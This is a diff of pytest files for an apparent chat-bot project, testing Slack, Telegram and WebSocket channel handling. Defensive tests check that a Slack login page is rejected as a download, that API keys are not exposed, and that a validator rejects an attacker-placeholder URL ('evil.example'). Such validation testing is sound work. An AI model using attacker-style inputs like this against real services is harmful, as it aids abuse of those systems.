"text": {"type": "plain_text", "text": "Yes"},
|
||||
"value": "Yes",
|
||||
"action_id": "ask_user_Yes",
|
||||
},
|
||||
{
|
||||
"type": "button",
|
||||
"text": {"type": "plain_text", "text": "No"},
|
||||
"value": "No",
|
||||
"action_id": "ask_user_No",
|
||||
},
|
||||
],
|
||||
}
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_updates_reaction_when_final_response_sent() -> None:
|
||||
channel = SlackChannel(SlackConfig(enabled=True, react_emoji="eyes"), MessageBus())
|
||||
@@ -195,7 +292,7 @@ async def test_send_resolves_channel_name_to_channel_id() -> None:
|
||||
)
|
||||
|
||||
assert fake_web.chat_post_calls == [
|
||||
{"channel": "C999", "text": "hello\n", "thread_ts": None}
|
||||
{"channel": "C999", "text": "hello", "thread_ts": None}
|
||||
]
|
||||
assert len(fake_web.conversations_list_calls) == 1
|
||||
|
||||
@@ -229,7 +326,7 @@ async def test_send_resolves_user_handle_to_dm_channel() -> None:
|
||||
|
||||
assert fake_web.conversations_open_calls == [{"users": "U234"}]
|
||||
assert fake_web.chat_post_calls == [
|
||||
{"channel": "D234", "text": "hello\n", "thread_ts": None}
|
||||
{"channel": "D234", "text": "hello", "thread_ts": None}
|
||||
]
|
||||
|
||||
|
||||
@@ -260,7 +357,7 @@ async def test_send_updates_reaction_on_origin_channel_for_cross_channel_send()
|
||||
)
|
||||
|
||||
assert fake_web.chat_post_calls == [
|
||||
{"channel": "C999", "text": "done\n", "thread_ts": None}
|
||||
{"channel": "C999", "text": "done", "thread_ts": None}
|
||||
]
|
||||
assert fake_web.reactions_remove_calls == [
|
||||
{"channel": "D_ORIGIN", "name": "eyes", "timestamp": "1700000000.000100"}
|
||||
@@ -298,7 +395,7 @@ async def test_send_does_not_reuse_origin_thread_ts_for_cross_channel_send() ->
|
||||
)
|
||||
|
||||
assert fake_web.chat_post_calls == [
|
||||
{"channel": "C999", "text": "done\n", "thread_ts": None}
|
||||
{"channel": "C999", "text": "done", "thread_ts": None}
|
||||
]
|
||||
|
||||
|
||||
@@ -316,3 +413,237 @@ async def test_send_raises_when_named_target_cannot_be_resolved() -> None:
|
||||
content="hello",
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_with_thread_context_fetches_root_once() -> None:
|
||||
channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
|
||||
channel._bot_user_id = "UBOT"
|
||||
fake_web = _FakeAsyncWebClient()
|
||||
fake_web._conversations_replies_response = {
|
||||
"messages": [
|
||||
{"ts": "111.000", "user": "UROOT", "text": "drink water"},
|
||||
{"ts": "112.000", "user": "U2", "text": "good idea"},
|
||||
{"ts": "112.500", "user": "UBOT", "text": "I'll remind you."},
|
||||
{"ts": "113.000", "user": "U3", "text": "<@UBOT> what did you see?"},
|
||||
]
|
||||
}
|
||||
channel._web_client = fake_web
|
||||
|
||||
content = await channel._with_thread_context(
|
||||
"what did you see?",
|
||||
chat_id="C123",
|
||||
channel_type="channel",
|
||||
thread_ts="111.000",
|
||||
raw_thread_ts="111.000",
|
||||
current_ts="113.000",
|
||||
)
|
||||
|
||||
assert fake_web.conversations_replies_calls == [
|
||||
{"channel": "C123", "ts": "111.000", "limit": 20}
|
||||
]
|
||||
assert "Slack thread context before this mention:" in content
|
||||
assert "- <@UROOT>: drink water" in content
|
||||
assert "- <@U2>: good idea" in content
|
||||
assert "- bot: I'll remind you." in content
|
||||
assert "U3" not in content
|
||||
assert content.endswith("Current message:\nwhat did you see?")
|
||||
|
||||
second = await channel._with_thread_context(
|
||||
"again",
|
||||
chat_id="C123",
|
||||
channel_type="channel",
|
||||
thread_ts="111.000",
|
||||
raw_thread_ts="111.000",
|
||||
current_ts="114.000",
|
||||
)
|
||||
assert second == "again"
|
||||
assert len(fake_web.conversations_replies_calls) == 1
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_with_thread_context_fetches_replies_in_dm_thread() -> None:
|
||||
"""DM threads should also pull thread history (not only channel threads)."""
|
||||
channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
|
||||
channel._bot_user_id = "UBOT"
|
||||
fake_web = _FakeAsyncWebClient()
|
||||
fake_web._conversations_replies_response = {
|
||||
"messages": [
|
||||
{"ts": "211.000", "user": "UA", "text": "here is the file"},
|
||||
{"ts": "212.000", "user": "UA", "text": "please read it"},
|
||||
]
|
||||
}
|
||||
channel._web_client = fake_web
|
||||
|
||||
content = await channel._with_thread_context(
|
||||
"what did you see?",
|
||||
chat_id="D123",
|
||||
channel_type="im",
|
||||
thread_ts="211.000",
|
||||
raw_thread_ts="211.000",
|
||||
current_ts="213.000",
|
||||
)
|
||||
|
||||
assert fake_web.conversations_replies_calls == [
|
||||
{"channel": "D123", "ts": "211.000", "limit": 20}
|
||||
]
|
||||
assert "Slack thread context before this mention:" in content
|
||||
assert "- <@UA>: here is the file" in content
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_dm_root_message_has_no_thread_ts_and_no_thread_session() -> None:
|
||||
"""A top-level DM should not synthesize a thread_ts and uses the default session."""
|
||||
channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
|
||||
channel._bot_user_id = "UBOT"
|
||||
channel._web_client = _FakeAsyncWebClient()
|
||||
channel._handle_message = AsyncMock() # type: ignore[method-assign]
|
||||
client = SimpleNamespace(send_socket_mode_response=AsyncMock())
|
||||
req = SimpleNamespace(
|
||||
type="events_api",
|
||||
envelope_id="env-dm-root",
|
||||
payload={
|
||||
"event": {
|
||||
"type": "message",
|
||||
"user": "U1",
|
||||
"channel": "D123",
|
||||
"channel_type": "im",
|
||||
"text": "hello",
|
||||
"ts": "1700000000.000100",
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
await channel._on_socket_request(client, req)
|
||||
|
||||
channel._handle_message.assert_awaited_once()
|
||||
kwargs = channel._handle_message.await_args.kwargs
|
||||
assert kwargs["session_key"] is None
|
||||
assert kwargs["metadata"]["slack"]["thread_ts"] is None
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_dm_thread_message_keeps_thread_ts_and_threaded_session() -> None:
|
||||
"""A DM message inside a real thread should preserve thread_ts and isolate the session."""
|
||||
channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
|
||||
channel._bot_user_id = "UBOT"
|
||||
channel._web_client = _FakeAsyncWebClient()
|
||||
channel._handle_message = AsyncMock() # type: ignore[method-assign]
|
||||
channel._with_thread_context = AsyncMock(return_value="hello") # type: ignore[method-assign]
|
||||
client = SimpleNamespace(send_socket_mode_response=AsyncMock())
|
||||
req = SimpleNamespace(
|
||||
type="events_api",
|
||||
envelope_id="env-dm-thread",
|
||||
payload={
|
||||
"event": {
|
||||
"type": "message",
|
||||
"user": "U1",
|
||||
"channel": "D123",
|
||||
"channel_type": "im",
|
||||
"text": "hello",
|
||||
"ts": "1700000000.000200",
|
||||
"thread_ts": "1700000000.000100",
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
await channel._on_socket_request(client, req)
|
||||
|
||||
channel._handle_message.assert_awaited_once()
|
||||
kwargs = channel._handle_message.await_args.kwargs
|
||||
assert kwargs["session_key"] == "slack:D123:1700000000.000100"
|
||||
assert kwargs["metadata"]["slack"]["thread_ts"] == "1700000000.000100"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_slack_slash_command_skips_thread_context() -> None:
|
||||
channel = SlackChannel(SlackConfig(enabled=True, allow_from=[]), MessageBus())
|
||||
channel._bot_user_id = "UBOT"
|
||||
channel._with_thread_context = AsyncMock(return_value="wrapped") # type: ignore[method-assign]
|
||||
channel._handle_message = AsyncMock() # type: ignore[method-assign]
|
||||
client = SimpleNamespace(send_socket_mode_response=AsyncMock())
|
||||
req = SimpleNamespace(
|
||||
type="events_api",
|
||||
envelope_id="env-1",
|
||||
payload={
|
||||
"event": {
|
||||
"type": "app_mention",
|
||||
"user": "U1",
|
||||
"channel": "C123",
|
||||
"text": "<@UBOT> /restart",
|
||||
"thread_ts": "111.000",
|
||||
"ts": "112.000",
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
await channel._on_socket_request(client, req)
|
||||
|
||||
channel._with_thread_context.assert_not_awaited()
|
||||
channel._handle_message.assert_awaited_once()
|
||||
assert channel._handle_message.await_args.kwargs["content"] == "/restart"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_slack_file_share_downloads_media_and_reaches_agent() -> None:
|
||||
channel = SlackChannel(SlackConfig(enabled=True, bot_token="xoxb-test"), MessageBus())
|
||||
channel._bot_user_id = "UBOT"
|
||||
channel._web_client = _FakeAsyncWebClient()
|
||||
channel._handle_message = AsyncMock() # type: ignore[method-assign]
|
||||
channel._download_slack_file = AsyncMock( # type: ignore[method-assign]
|
||||
return_value=("/tmp/report.pdf", "[file: report.pdf]")
|
||||
)
|
||||
client = SimpleNamespace(send_socket_mode_response=AsyncMock())
|
||||
req = SimpleNamespace(
|
||||
type="events_api",
|
||||
envelope_id="env-file",
|
||||
payload={
|
||||
"event": {
|
||||
"type": "message",
|
||||
"subtype": "file_share",
|
||||
"user": "U1",
|
||||
"channel": "D123",
|
||||
"channel_type": "im",
|
||||
"text": "please read this",
|
||||
"ts": "1700000000.000100",
|
||||
"files": [
|
||||
{
|
||||
"id": "F123",
|
||||
"name": "report.pdf",
|
||||
"mimetype": "application/pdf",
|
||||
"url_private_download": "https://files.slack.com/report.pdf",
|
||||
}
|
||||
],
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
await channel._on_socket_request(client, req)
|
||||
|
||||
channel._download_slack_file.assert_awaited_once()
|
||||
channel._handle_message.assert_awaited_once()
|
||||
kwargs = channel._handle_message.await_args.kwargs
|
||||
assert kwargs["content"] == "please read this\n[file: report.pdf]"
|
||||
assert kwargs["media"] == ["/tmp/report.pdf"]
|
||||
|
||||
|
||||
def test_slack_download_rejects_login_html() -> None:
|
||||
html_response = httpx.Response(
|
||||
200,
|
||||
headers={"content-type": "text/html; charset=utf-8"},
|
||||
content=b"<!doctype html><html><title>Sign in to Slack</title>",
|
||||
)
|
||||
markdown_response = httpx.Response(
|
||||
200,
|
||||
headers={"content-type": "text/markdown"},
|
||||
content=b"# PR Extraction Guide\n",
|
||||
)
|
||||
|
||||
assert SlackChannel._looks_like_html_download(html_response) is True
|
||||
assert SlackChannel._looks_like_html_download(markdown_response) is False
|
||||
|
||||
|
||||
def test_slack_channel_uses_channel_aware_allow_policy() -> None:
|
||||
channel = SlackChannel(SlackConfig(enabled=True, allow_from=[]), MessageBus())
|
||||
assert channel.is_allowed("U1") is True
|
||||
assert channel._is_allowed("U1", "C123", "channel") is True
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
import asyncio
|
||||
from pathlib import Path
|
||||
from types import SimpleNamespace
|
||||
from unittest.mock import AsyncMock
|
||||
@@ -13,8 +12,12 @@ except ImportError:
|
||||
|
||||
from nanobot.bus.events import OutboundMessage
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.channels.telegram import TELEGRAM_REPLY_CONTEXT_MAX_LEN, TelegramChannel, _StreamBuf
|
||||
from nanobot.channels.telegram import TelegramConfig
|
||||
from nanobot.channels.telegram import (
|
||||
TELEGRAM_REPLY_CONTEXT_MAX_LEN,
|
||||
TelegramChannel,
|
||||
TelegramConfig,
|
||||
_StreamBuf,
|
||||
)
|
||||
|
||||
|
||||
class _FakeHTTPXRequest:
|
||||
@@ -59,6 +62,9 @@ class _FakeBot:
|
||||
async def send_photo(self, **kwargs) -> None:
|
||||
self.sent_media.append({"kind": "photo", **kwargs})
|
||||
|
||||
async def send_video(self, **kwargs) -> None:
|
||||
self.sent_media.append({"kind": "video", **kwargs})
|
||||
|
||||
async def send_voice(self, **kwargs) -> None:
|
||||
self.sent_media.append({"kind": "voice", **kwargs})
|
||||
|
||||
@@ -190,6 +196,7 @@ async def test_start_creates_separate_pools_with_proxy(monkeypatch) -> None:
|
||||
assert builder.get_updates_request_value is poll_req
|
||||
assert callable(app.updater.start_polling_kwargs["error_callback"])
|
||||
assert any(cmd.command == "status" for cmd in app.bot.commands)
|
||||
assert any(cmd.command == "history" for cmd in app.bot.commands)
|
||||
assert any(cmd.command == "dream" for cmd in app.bot.commands)
|
||||
assert any(cmd.command == "dream_log" for cmd in app.bot.commands)
|
||||
assert any(cmd.command == "dream_restore" for cmd in app.bot.commands)
|
||||
@@ -748,6 +755,36 @@ async def test_send_remote_media_url_after_security_validation(monkeypatch) -> N
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_local_media_preserves_filename(tmp_path: Path) -> None:
|
||||
channel = TelegramChannel(
|
||||
TelegramConfig(enabled=True, token="123:abc", allow_from=["*"]),
|
||||
MessageBus(),
|
||||
)
|
||||
channel._app = _FakeApp(lambda: None)
|
||||
attachment = tmp_path / "report.final.md"
|
||||
attachment.write_bytes(b"# Report\n")
|
||||
|
||||
await channel.send(
|
||||
OutboundMessage(
|
||||
channel="telegram",
|
||||
chat_id="123",
|
||||
content="",
|
||||
media=[str(attachment)],
|
||||
)
|
||||
)
|
||||
|
||||
assert channel._app.bot.sent_media == [
|
||||
{
|
||||
"kind": "document",
|
||||
"chat_id": 123,
|
||||
"document": b"# Report\n",
|
||||
"reply_parameters": None,
|
||||
"filename": "report.final.md",
|
||||
}
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_blocks_unsafe_remote_media_url(monkeypatch) -> None:
|
||||
channel = TelegramChannel(
|
||||
@@ -1591,3 +1628,125 @@ async def test_send_delta_mid_stream_strips_markdown() -> None:
|
||||
assert "**" not in edited_text
|
||||
assert "Title" in edited_text
|
||||
assert "1. step" in edited_text
|
||||
|
||||
|
||||
def test_build_keyboard_respects_inline_keyboards_flag() -> None:
|
||||
"""``_build_keyboard`` returns ``None`` whenever the feature flag is off,
|
||||
regardless of whether buttons are provided; returns a proper Markup only
|
||||
when the flag is explicitly enabled. Pins the kill-switch so accidentally
|
||||
flipping the default doesn't silently expose callback handlers."""
|
||||
from telegram import InlineKeyboardMarkup
|
||||
|
||||
off = TelegramChannel(
|
||||
TelegramConfig(enabled=True, token="123:abc", inline_keyboards=False),
|
||||
MessageBus(),
|
||||
)
|
||||
assert off._build_keyboard([["A", "B"]]) is None
|
||||
|
||||
on = TelegramChannel(
|
||||
TelegramConfig(enabled=True, token="123:abc", inline_keyboards=True),
|
||||
MessageBus(),
|
||||
)
|
||||
assert on._build_keyboard([]) is None # empty still no-op
|
||||
markup = on._build_keyboard([["Yes", "No"], ["Cancel"]])
|
||||
assert isinstance(markup, InlineKeyboardMarkup)
|
||||
rows = markup.inline_keyboard
|
||||
assert [[b.text for b in row] for row in rows] == [["Yes", "No"], ["Cancel"]]
|
||||
# callback_data mirrors label so _on_callback_query can echo the tap back.
|
||||
assert rows[0][0].callback_data == "Yes"
|
||||
|
||||
|
||||
def test_safe_callback_data_truncates_at_utf8_boundary() -> None:
|
||||
# Telegram's 64-byte callback_data cap is a hard API limit; silent 400s were the bug.
|
||||
short = "Yes"
|
||||
assert TelegramChannel._safe_callback_data(short) == short
|
||||
|
||||
long_ascii = "a" * 100
|
||||
out = TelegramChannel._safe_callback_data(long_ascii)
|
||||
assert len(out.encode("utf-8")) <= 64
|
||||
assert long_ascii.startswith(out)
|
||||
|
||||
# Multibyte labels must not split a codepoint mid-byte.
|
||||
long_cjk = "同意并继续下一步,我已阅读并同意了服务条款以及隐私政策"
|
||||
assert len(long_cjk.encode("utf-8")) > 64
|
||||
out = TelegramChannel._safe_callback_data(long_cjk)
|
||||
assert len(out.encode("utf-8")) <= 64
|
||||
assert long_cjk.startswith(out)
|
||||
out.encode("utf-8").decode("utf-8") # must round-trip cleanly
|
||||
|
||||
|
||||
def test_build_keyboard_uses_safe_callback_data_for_long_labels() -> None:
|
||||
# Pins the integration so a long-label payload survives ``send_message`` instead of 400ing.
|
||||
channel = TelegramChannel(
|
||||
TelegramConfig(enabled=True, token="123:abc", inline_keyboards=True),
|
||||
MessageBus(),
|
||||
)
|
||||
long_label = "Approve and continue to the next step with the updated terms of service"
|
||||
assert len(long_label.encode("utf-8")) > 64
|
||||
|
||||
markup = channel._build_keyboard([[long_label]])
|
||||
btn = markup.inline_keyboard[0][0]
|
||||
assert btn.text == long_label # display preserved
|
||||
assert len(btn.callback_data.encode("utf-8")) <= 64
|
||||
assert long_label.startswith(btn.callback_data)
|
||||
|
||||
|
||||
def test_buttons_as_text_format_preserves_rows_and_labels() -> None:
|
||||
# Canonical shape: one row per line, labels bracketed. Layout survives the fallback.
|
||||
assert TelegramChannel._buttons_as_text([["Yes", "No"], ["Cancel"]]) == "[Yes] [No]\n[Cancel]"
|
||||
assert TelegramChannel._buttons_as_text([["Only"]]) == "[Only]"
|
||||
assert TelegramChannel._buttons_as_text([[], ["A"]]) == "[A]" # empty rows skipped
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_falls_back_buttons_to_inline_text_when_flag_off() -> None:
|
||||
"""Buttons are semantic options; with ``inline_keyboards=False`` we must
|
||||
splice labels into the text so users still see the choices. Silent-drop
|
||||
was the pre-fallback bug — the agent got a success reply while the user
|
||||
saw a question with no options."""
|
||||
channel = TelegramChannel(
|
||||
TelegramConfig(enabled=True, token="123:abc", allow_from=["*"], inline_keyboards=False),
|
||||
MessageBus(),
|
||||
)
|
||||
channel._app = _FakeApp(lambda: None)
|
||||
|
||||
await channel.send(
|
||||
OutboundMessage(
|
||||
channel="telegram",
|
||||
chat_id="123",
|
||||
content="Proceed?",
|
||||
buttons=[["Yes", "No"], ["Cancel"]],
|
||||
)
|
||||
)
|
||||
|
||||
assert len(channel._app.bot.sent_messages) == 1
|
||||
sent = channel._app.bot.sent_messages[0]
|
||||
assert sent.get("reply_markup") is None
|
||||
assert "Proceed?" in sent["text"]
|
||||
assert "[Yes] [No]" in sent["text"]
|
||||
assert "[Cancel]" in sent["text"]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_uses_native_keyboard_when_flag_on() -> None:
|
||||
"""With the flag on, the content stays clean and buttons ride in ``reply_markup``."""
|
||||
from telegram import InlineKeyboardMarkup
|
||||
|
||||
channel = TelegramChannel(
|
||||
TelegramConfig(enabled=True, token="123:abc", allow_from=["*"], inline_keyboards=True),
|
||||
MessageBus(),
|
||||
)
|
||||
channel._app = _FakeApp(lambda: None)
|
||||
|
||||
await channel.send(
|
||||
OutboundMessage(
|
||||
channel="telegram",
|
||||
chat_id="123",
|
||||
content="Proceed?",
|
||||
buttons=[["Yes", "No"]],
|
||||
)
|
||||
)
|
||||
|
||||
sent = channel._app.bot.sent_messages[0]
|
||||
assert isinstance(sent.get("reply_markup"), InlineKeyboardMarkup)
|
||||
assert "[Yes]" not in sent["text"] # native keyboard owns the rendering
|
||||
|
||||
@@ -26,6 +26,8 @@ from nanobot.channels.websocket import (
|
||||
_parse_query,
|
||||
_parse_request_path,
|
||||
)
|
||||
from nanobot.config.loader import load_config, save_config
|
||||
from nanobot.config.schema import Config
|
||||
|
||||
# -- Shared helpers (aligned with test_websocket_integration.py) ---------------
|
||||
|
||||
@@ -178,6 +180,7 @@ async def test_send_delivers_json_message_with_media_and_reply() -> None:
|
||||
content="hello",
|
||||
reply_to="m1",
|
||||
media=["/tmp/a.png"],
|
||||
buttons=[["Yes", "No"]],
|
||||
)
|
||||
await channel.send(msg)
|
||||
|
||||
@@ -185,9 +188,44 @@ async def test_send_delivers_json_message_with_media_and_reply() -> None:
|
||||
payload = json.loads(mock_ws.send.call_args[0][0])
|
||||
assert payload["event"] == "message"
|
||||
assert payload["chat_id"] == "chat-1"
|
||||
assert payload["text"] == "hello"
|
||||
assert payload["text"] == "hello\n\n1. Yes\n2. No"
|
||||
assert payload["button_prompt"] == "hello"
|
||||
assert payload["reply_to"] == "m1"
|
||||
assert payload["media"] == ["/tmp/a.png"]
|
||||
assert payload["buttons"] == [["Yes", "No"]]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_stages_external_media_as_signed_url(monkeypatch, tmp_path) -> None:
|
||||
bus = MagicMock()
|
||||
media_root = tmp_path / "media"
|
||||
ws_media = media_root / "websocket"
|
||||
ws_media.mkdir(parents=True)
|
||||
external = tmp_path / "clip.mp4"
|
||||
external.write_bytes(b"video")
|
||||
|
||||
def fake_media_dir(channel: str | None = None):
|
||||
return ws_media if channel == "websocket" else media_root
|
||||
|
||||
monkeypatch.setattr("nanobot.channels.websocket.get_media_dir", fake_media_dir)
|
||||
channel = WebSocketChannel({"enabled": True, "allowFrom": ["*"]}, bus)
|
||||
mock_ws = AsyncMock()
|
||||
channel._attach(mock_ws, "chat-1")
|
||||
|
||||
await channel.send(
|
||||
OutboundMessage(
|
||||
channel="websocket",
|
||||
chat_id="chat-1",
|
||||
content="video",
|
||||
media=[str(external)],
|
||||
)
|
||||
)
|
||||
|
||||
payload = json.loads(mock_ws.send.call_args[0][0])
|
||||
assert payload["media"] == [str(external)]
|
||||
assert payload["media_urls"][0]["name"] == "clip.mp4"
|
||||
assert payload["media_urls"][0]["url"].startswith("/api/media/")
|
||||
assert any(p.name.endswith("-clip.mp4") for p in ws_media.iterdir())
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@@ -403,6 +441,72 @@ async def test_http_route_issues_token_then_websocket_requires_it(bus: MagicMock
|
||||
await server_task
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_settings_api_returns_safe_subset_and_updates_whitelist(
|
||||
bus: MagicMock,
|
||||
monkeypatch,
|
||||
tmp_path,
|
||||
) -> None:
|
||||
port = 29891
|
||||
config_path = tmp_path / "config.json"
|
||||
config = Config()
|
||||
config.agents.defaults.model = "openai/gpt-4o"
|
||||
config.providers.openai.api_key = "secret-key"
|
||||
save_config(config, config_path)
|
||||
monkeypatch.setattr("nanobot.config.loader._current_config_path", config_path)
|
||||
|
||||
channel = _ch(bus, port=port)
|
||||
channel._api_tokens["tok"] = time.monotonic() + 300
|
||||
|
||||
server_task = asyncio.create_task(channel.start())
|
||||
await asyncio.sleep(0.3)
|
||||
|
||||
try:
|
||||
settings = await _http_get(
|
||||
f"http://127.0.0.1:{port}/api/settings",
|
||||
headers={"Authorization": "Bearer tok"},
|
||||
)
|
||||
assert settings.status_code == 200
|
||||
body = settings.json()
|
||||
assert body["agent"]["model"] == "openai/gpt-4o"
|
||||
assert body["agent"]["provider"] == "openai"
|
||||
assert {"name": "auto", "label": "Auto"} in body["providers"]
|
||||
assert body["agent"]["has_api_key"] is True
|
||||
assert "secret-key" not in settings.text
|
||||
|
||||
updated = await _http_get(
|
||||
"http://127.0.0.1:"
|
||||
f"{port}/api/settings/update?model=openrouter/test"
|
||||
"&provider=openrouter",
|
||||
headers={"Authorization": "Bearer tok"},
|
||||
)
|
||||
assert updated.status_code == 200
|
||||
assert updated.json()["requires_restart"] is True
|
||||
|
||||
saved = load_config(config_path)
|
||||
assert saved.agents.defaults.model == "openrouter/test"
|
||||
assert saved.agents.defaults.provider == "openrouter"
|
||||
finally:
|
||||
await channel.stop()
|
||||
await server_task
|
||||
|
||||
|
||||
def test_settings_payload_normalizes_camel_case_provider(
|
||||
bus: MagicMock,
|
||||
monkeypatch,
|
||||
tmp_path,
|
||||
) -> None:
|
||||
config_path = tmp_path / "config.json"
|
||||
config = Config()
|
||||
config.agents.defaults.provider = "minimaxAnthropic"
|
||||
save_config(config, config_path)
|
||||
monkeypatch.setattr("nanobot.config.loader._current_config_path", config_path)
|
||||
|
||||
body = _ch(bus)._settings_payload()
|
||||
|
||||
assert body["agent"]["provider"] == "minimax_anthropic"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_end_to_end_server_pushes_streaming_deltas_to_client(bus: MagicMock) -> None:
|
||||
port = 29880
|
||||
|
||||
@@ -0,0 +1,420 @@
|
||||
"""Tests for WS envelope media handling (client image upload path).
|
||||
|
||||
Exercises ``WebSocketChannel._dispatch_envelope`` for the ``message`` branch:
|
||||
decoding base64 data URLs, rejecting malformed / oversized / non-whitelisted
|
||||
payloads, preserving backward compatibility with media-less frames, and
|
||||
forwarding saved paths to ``_handle_message``.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import json
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
from nanobot.channels.websocket import (
|
||||
WebSocketChannel,
|
||||
_extract_data_url_mime,
|
||||
)
|
||||
|
||||
|
||||
def _tiny_png_data_url() -> str:
|
||||
"""A 1-pixel PNG prefixed as a data URL — just enough for magic-bytes sniffing."""
|
||||
# 1x1 transparent PNG
|
||||
png = (
|
||||
b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00"
|
||||
b"\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\rIDATx"
|
||||
b"\x9cc\xf8\xcf\xc0\x00\x00\x00\x03\x00\x01\x00\x18\xdd\x8d\xb4\x00"
|
||||
b"\x00\x00\x00IEND\xaeB`\x82"
|
||||
)
|
||||
return f"data:image/png;base64,{base64.b64encode(png).decode()}"
|
||||
|
||||
|
||||
def _data_url(mime: str, payload: bytes) -> str:
|
||||
return f"data:{mime};base64,{base64.b64encode(payload).decode()}"
|
||||
|
||||
|
||||
def _make_channel() -> WebSocketChannel:
|
||||
bus = MagicMock()
|
||||
bus.publish_inbound = AsyncMock()
|
||||
channel = WebSocketChannel(
|
||||
{"enabled": True, "allowFrom": ["*"], "websocketRequiresToken": False},
|
||||
bus,
|
||||
)
|
||||
channel._handle_message = AsyncMock() # type: ignore[method-assign]
|
||||
return channel
|
||||
|
||||
|
||||
# -- Pure helpers --------------------------------------------------------------
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("url", "expected"),
|
||||
[
|
||||
("data:image/png;base64,AAAA", "image/png"),
|
||||
("data:image/jpeg;base64,AAAA", "image/jpeg"),
|
||||
("data:IMAGE/PNG;base64,AAAA", "image/png"),
|
||||
("data:image/svg+xml;base64,AAAA", "image/svg+xml"),
|
||||
("data:text/plain;base64,AAAA", "text/plain"),
|
||||
("http://evil.example/x.png", None),
|
||||
("data:image/png,AAAA", None), # missing `;base64`
|
||||
("", None),
|
||||
(None, None),
|
||||
],
|
||||
)
|
||||
def test_extract_data_url_mime(url: Any, expected: str | None) -> None:
|
||||
assert _extract_data_url_mime(url) == expected
|
||||
|
||||
|
||||
# -- max_message_bytes bump ----------------------------------------------------
|
||||
|
||||
|
||||
def test_max_message_bytes_default_supports_multi_image_frame() -> None:
|
||||
"""Default 36 MB must comfortably hold 4 × 6 MB base64-encoded images."""
|
||||
from nanobot.channels.websocket import WebSocketConfig
|
||||
|
||||
default = WebSocketConfig().max_message_bytes
|
||||
# 4 images × 6 MB × 1.37 base64 overhead ≈ 33 MB
|
||||
assert default >= 33 * 1024 * 1024
|
||||
# Upper bound 40 MB matches plan
|
||||
with pytest.raises(Exception):
|
||||
WebSocketConfig(max_message_bytes=41_943_040 + 1)
|
||||
|
||||
|
||||
# -- _dispatch_envelope message branch + media --------------------------------
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_without_media_backward_compatible() -> None:
|
||||
"""Existing clients that don't send ``media`` keep working unchanged."""
|
||||
channel = _make_channel()
|
||||
mock_conn = AsyncMock()
|
||||
envelope = {"type": "message", "chat_id": "abc123", "content": "hello"}
|
||||
|
||||
await channel._dispatch_envelope(mock_conn, "client-1", envelope)
|
||||
|
||||
channel._handle_message.assert_awaited_once()
|
||||
call = channel._handle_message.call_args
|
||||
assert call.kwargs["chat_id"] == "abc123"
|
||||
assert call.kwargs["content"] == "hello"
|
||||
# When no media, we pass ``media=None`` so downstream treats it as absent.
|
||||
assert call.kwargs["media"] is None
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_with_single_image_forwards_saved_path(tmp_path) -> None:
|
||||
channel = _make_channel()
|
||||
mock_conn = AsyncMock()
|
||||
envelope = {
|
||||
"type": "message",
|
||||
"chat_id": "abc123",
|
||||
"content": "look at this",
|
||||
"media": [{"data_url": _tiny_png_data_url(), "name": "shot.png"}],
|
||||
}
|
||||
|
||||
with patch(
|
||||
"nanobot.channels.websocket.get_media_dir", return_value=tmp_path
|
||||
):
|
||||
await channel._dispatch_envelope(mock_conn, "client-1", envelope)
|
||||
|
||||
channel._handle_message.assert_awaited_once()
|
||||
paths = channel._handle_message.call_args.kwargs["media"]
|
||||
assert isinstance(paths, list) and len(paths) == 1
|
||||
saved = Path(paths[0])
|
||||
assert saved.exists()
|
||||
assert saved.suffix == ".png"
|
||||
assert saved.is_relative_to(tmp_path)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_with_multiple_images(tmp_path) -> None:
|
||||
channel = _make_channel()
|
||||
mock_conn = AsyncMock()
|
||||
envelope = {
|
||||
"type": "message",
|
||||
"chat_id": "abc123",
|
||||
"content": "a couple",
|
||||
"media": [
|
||||
{"data_url": _tiny_png_data_url()},
|
||||
{"data_url": _tiny_png_data_url()},
|
||||
{"data_url": _tiny_png_data_url()},
|
||||
],
|
||||
}
|
||||
|
||||
with patch(
|
||||
"nanobot.channels.websocket.get_media_dir", return_value=tmp_path
|
||||
):
|
||||
await channel._dispatch_envelope(mock_conn, "client-1", envelope)
|
||||
|
||||
paths = channel._handle_message.call_args.kwargs["media"]
|
||||
assert len(paths) == 3
|
||||
# Saved filenames must be unique.
|
||||
assert len({Path(p).name for p in paths}) == 3
|
||||
|
||||
|
